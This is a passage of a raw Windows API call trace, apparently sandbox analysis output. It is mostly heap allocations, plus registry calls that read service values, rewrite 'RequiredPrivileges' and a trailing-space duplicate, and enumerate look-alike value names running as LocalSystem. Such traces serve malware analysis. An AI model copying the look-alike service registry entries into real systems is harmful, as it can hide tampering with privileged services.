RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0241.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.682] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.682] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0241.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0241.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0241.683] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0241.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0241.683] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0241.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0241.683] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0241.683] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0241.683] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0241.683] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0241.683] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.684] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0241.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0241.685] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0241.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0241.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0241.685] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0241.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d488) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0241.685] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157010) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157020) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.686] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0241.686] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0241.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0241.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0241.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0241.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0241.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0241.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0241.687] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0241.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0241.687] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0241.687] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42f8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0241.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0241.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0241.688] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0241.688] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0241.689] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0241.689] RtlFreeHeap 